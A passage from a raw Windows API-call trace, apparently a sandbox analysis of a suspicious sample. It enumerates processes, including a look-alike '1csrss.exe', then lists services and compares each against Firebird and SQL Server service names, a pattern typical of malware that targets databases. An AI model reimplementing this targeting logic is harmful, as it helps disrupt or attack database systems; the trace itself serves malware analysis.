th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.084] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.084] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.085] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.085] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.086] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.086] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0291.086] lstrlenW (lpString="1csrss.exe") returned 10 [0291.087] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.112] lstrlenW (lpString="svchost.exe") returned 11 [0291.112] Process32NextW (in: hSnapshot=0x4dc, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0291.113] CloseHandle (hObject=0x4dc) returned 1 [0291.113] Sleep (dwMilliseconds=0x1f4) [0291.614] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb60 [0291.614] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0291.615] GetLastError () returned 0xea [0291.615] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x466fff8 [0291.615] EnumServicesStatusExW (in: hSCManager=0x7ddb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x466fff8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x466fff8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0291.615] CloseServiceHandle (hSCObject=0x7ddb60) returned 1 [0291.616] lstrlenW (lpString="AppXSvc") returned 7 [0291.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.616] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.616] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.616] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.616] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.616] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.616] lstrlenW (lpString="Audiosrv") returned 8 [0291.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.616] lstrlenW (lpString="BFE") returned 3 [0291.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.616] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.616] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.616] lstrlenW (lpString="BITS") returned 4 [0291.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0291.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0291.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0291.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0291.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0291.617] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.617] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.617] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.617] lstrlenW (lpString="CDPSvc") returned 6 [0291.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.617] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.617] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.617] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.617] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.617] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.617] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.617] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.617] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.617] lstrlenW (lpString="CryptSvc") returned 8 [0291.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.618] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.618] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.618] lstrlenW (lpString="DcomLaunch") returned 10 [0291.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.618] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.618] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.618] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.618] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.618] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.618] lstrlenW (lpString="Dhcp") returned 4 [0291.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.618] lstrlenW (lpString="Dnscache") returned 8 [0291.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.618] lstrlenW (lpString="DoSvc") returned 5 [0291.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0291.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0291.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0291.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0291.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0291.619] lstrlenW (lpString="DPS") returned 3 [0291.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.619] lstrlenW (lpString="DusmSvc") returned 7 [0291.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.619] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.619] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0291.619] lstrlenW (lpString="EventLog") returned 8 [0291.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.619] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.619] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.619] lstrlenW (lpString="EventSystem") returned 11 [0291.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.619] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.619] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.619] lstrlenW (lpString="FontCache") returned 9 [0291.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.620] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.620] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.620] lstrlenW (lpString="gpsvc") returned 5 [0291.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.620] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.620] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.620] lstrlenW (lpString="iphlpsvc") returned 8 [0291.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.620] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.620] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.620] lstrlenW (lpString="KeyIso") returned 6 [0291.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.620] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.620] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.620] lstrlenW (lpString="LanmanServer") returned 12 [0291.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.620] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0291.620] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0291.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0291.621] lstrlenW (lpString="LanmanWorkstation") returned 17 [0291.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0291.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0291.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0291.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0291.621] lstrlenW (lpString="lfsvc") returned 5 [0291.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0291.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0291.621] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0291.621] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0291.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0291.621] lstrlenW (lpString="lmhosts") returned 7 [0291.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0291.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0291.621] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0291.621] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0291.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0291.621] lstrlenW (lpString="LSM") returned 3 [0291.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0291.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0291.621] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0291.621] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0291.621] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0291.621] lstrlenW (lpString="MpsSvc") returned 6 [0291.621] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0291.621] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0291.621] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0291.621] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0291.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0291.622] lstrlenW (lpString="NcbService") returned 10 [0291.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0291.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0291.622] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0291.622] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0291.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0291.622] lstrlenW (lpString="netprofm") returned 8 [0291.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0291.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0291.622] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0291.622] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0291.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0291.622] lstrlenW (lpString="NgcSvc") returned 6 [0291.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0291.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0291.622] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0291.622] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0291.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0291.622] lstrlenW (lpString="NlaSvc") returned 6 [0291.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0291.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0291.622] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0291.622] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0291.622] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0291.622] lstrlenW (lpString="nsi") returned 3 [0291.622] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0291.622] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0291.622] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0291.623] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0291.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0291.623] lstrlenW (lpString="PcaSvc") returned 6 [0291.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0291.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0291.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0291.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0291.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0291.623] lstrlenW (lpString="PlugPlay") returned 8 [0291.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0291.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0291.623] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0291.623] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0291.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0291.623] lstrlenW (lpString="Power") returned 5 [0291.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0291.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0291.623] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0291.623] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0291.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0291.623] lstrlenW (lpString="ProfSvc") returned 7 [0291.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0291.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0291.623] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0291.623] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0291.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0291.623] lstrlenW (lpString="RpcEptMapper") returned 12 [0291.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0291.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0291.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0291.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0291.624] lstrlenW (lpString="RpcSs") returned 5 [0291.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0291.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0291.624] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0291.624] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0291.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0291.624] lstrlenW (lpString="SamSs") returned 5 [0291.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0291.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0291.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0291.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0291.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0291.624] lstrlenW (lpString="Schedule") returned 8 [0291.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0291.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0291.624] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0291.624] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0291.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0291.624] lstrlenW (lpString="SecurityHealthService") returned 21 [0291.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0291.624] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0291.624] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0291.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0291.624] lstrlenW (lpString="SENS") returned 4 [0291.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0291.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0291.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0291.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0291.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0291.625] lstrlenW (lpString="ShellHWDetection") returned 16 [0291.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0291.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0291.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0291.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0291.625] lstrlenW (lpString="Spooler") returned 7 [0291.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0291.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0291.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0291.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0291.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0291.625] lstrlenW (lpString="SSDPSRV") returned 7 [0291.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0291.625] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0291.625] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0291.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0291.625] lstrlenW (lpString="StateRepository") returned 15 [0291.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0291.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0291.625] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0291.625] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0291.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0291.625] lstrlenW (lpString="SysMain") returned 7 [0291.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0291.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0291.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0291.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0291.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0291.626] 